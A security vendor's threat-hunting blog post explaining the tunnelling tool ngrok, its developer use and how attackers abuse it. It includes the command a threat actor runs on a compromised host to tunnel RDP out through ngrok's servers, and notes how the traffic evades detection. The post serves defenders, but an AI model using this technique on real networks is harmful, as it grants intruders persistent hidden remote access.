This month’s #ThreatThursday features a new tool I discovered - ngrok. Initially, when researching I fat-fingered my search term and dropped the ‘n’ which resulted in an unanticipated etymology rabbit hole. ‘Grok’ is a fascinating term to me. You see it everywhere in the tech space, but it originates from Robert Heinlein’s Stranger in a Strange Land. The story centers around the main character, Valentine Michael Smith, who was raised by Martians. When brought back to Earth years later, he brings with him pieces of Marian culture and language, one being the word ‘grok.’ Grok translated literally means “to drink” but understood more loosely could be “to thoroughly understand something.” To grok something is to understand something so well and so intuitively that it becomes a part of oneself. 

    So let’s get down to grokking ngrok! To put it simply, ngrok is an application that gives you external (Internet) access to internal systems that are behind a firewall (or hidden by NAT) via an encrypted tunnel. When considering the literal definition of grok is “to drink” I liken the tool to providing a straw or tunnel into your internal network or resource. It allows anyone with the specific link or address:port combination, a tunnel (or straw) with direct access to your network (or tasty beverage). 

    This can be great if you’re a nice friend who wants to share. Marketing itself as the “fastest way to put your app on the internet,” it’s no surprise that ngrok is a fan fave among software developers. Say for example you’re working on a new app and need to get quick feedback on some work you’ve already completed. You could look into setting up one of the many free or cheap hosting services but they are often for static sites only, limited in features, or involve a bit of setup. 

    Ngrok setup is fast (like really fast) and free. You simply need to run ngrok from a local system with a service that you want to make available to people on the Internet (like your demo website). Running a simple command with the protocol and port you want to use like “ngrok http 8080” is all you need. Ngrok creates a URL that external users can use to access your service via an encrypted tunnel. **Magic** Using a bit of python I was able to complete all of this in about 3 minutes or less. Yes, with one command, you too can have a public URL that people can access from anywhere in the world!

    Caption: ngrok command line 

    Caption: ngrok status

    Caption: Internal website tunneled through firewall using ngrok 

    So this is super cool, right? I mean, it really kind of is. Ngrok is a powerful tool simply because of its simplicity. Unfortunately, it’s not hard to imagine how this tool could lend itself to misuse or abuse. There are others who would love an incredibly easy way to make any port on an internal device publicly accessible. Considering that ngrok also handles all the infrastructure it’s a threat actor's dream or a digital forensics professional’s nightmare. Take for example the scenario below:

    A threat actor manages to compromise a device on the internal network via a phishing email. They’re interested in setting up persistent remote access via RDP. It turns out that ngrok is great for this use case as well.

    The threat actor can run ngrok.exe on the compromised device which makes a connection out to the remote ngrok server: ngrok tcp -auth=”<auth-key>” 3389

    Caption: ngrok with auth-key

    This essentially sets up an outbound persistent tunnel to the ngrok server. Externally, the threat actor can now make a connection to the ngrok server using a command like ‘mstsc.exe /’. The ngrok server will tunnel this connection back through the firewall via the tcp 3389 tunnel created earlier. Simply pop in the credentials and voila: RDP access granted!

    Caption: Tunneling RDP through the firewall with ngrok

    Caption: RDP tunneled through the firewall with ngrok

    The beauty of this from an attacker's perspective is that this connection doesn’t appear as an inbound connection on 3389. As you can see in the netstat results below the RDP connection instead appears as <localhost:randomPort> to <localhost:3389> and vice versa. The initial HTTPS connection is also there but it’s really hard to tell which one belongs to ngrok. Take note of how well it blends in with other normal traffic on port 443. This makes detection really difficult if not impossible for most teams. It’s also worth noting that this is an insanely small number of HTTPS connections for an average system. The only reason there are so few connections present is that this is a lab machine that is only being used to run this ngrok example.

    Caption: Output from the netstat command with ngrok tunneling RDP

    For our SCYTHE customers, I’ve created a campaign to emulate how an adversary might use such a tool. Check out your SCYTHE Customer Portal to download and import this new plan!

    Happy Hunting  : )

    -SCYTHE AES Team

    Kristen Cotten
    Post by Kristen Cotten
    March 30, 2023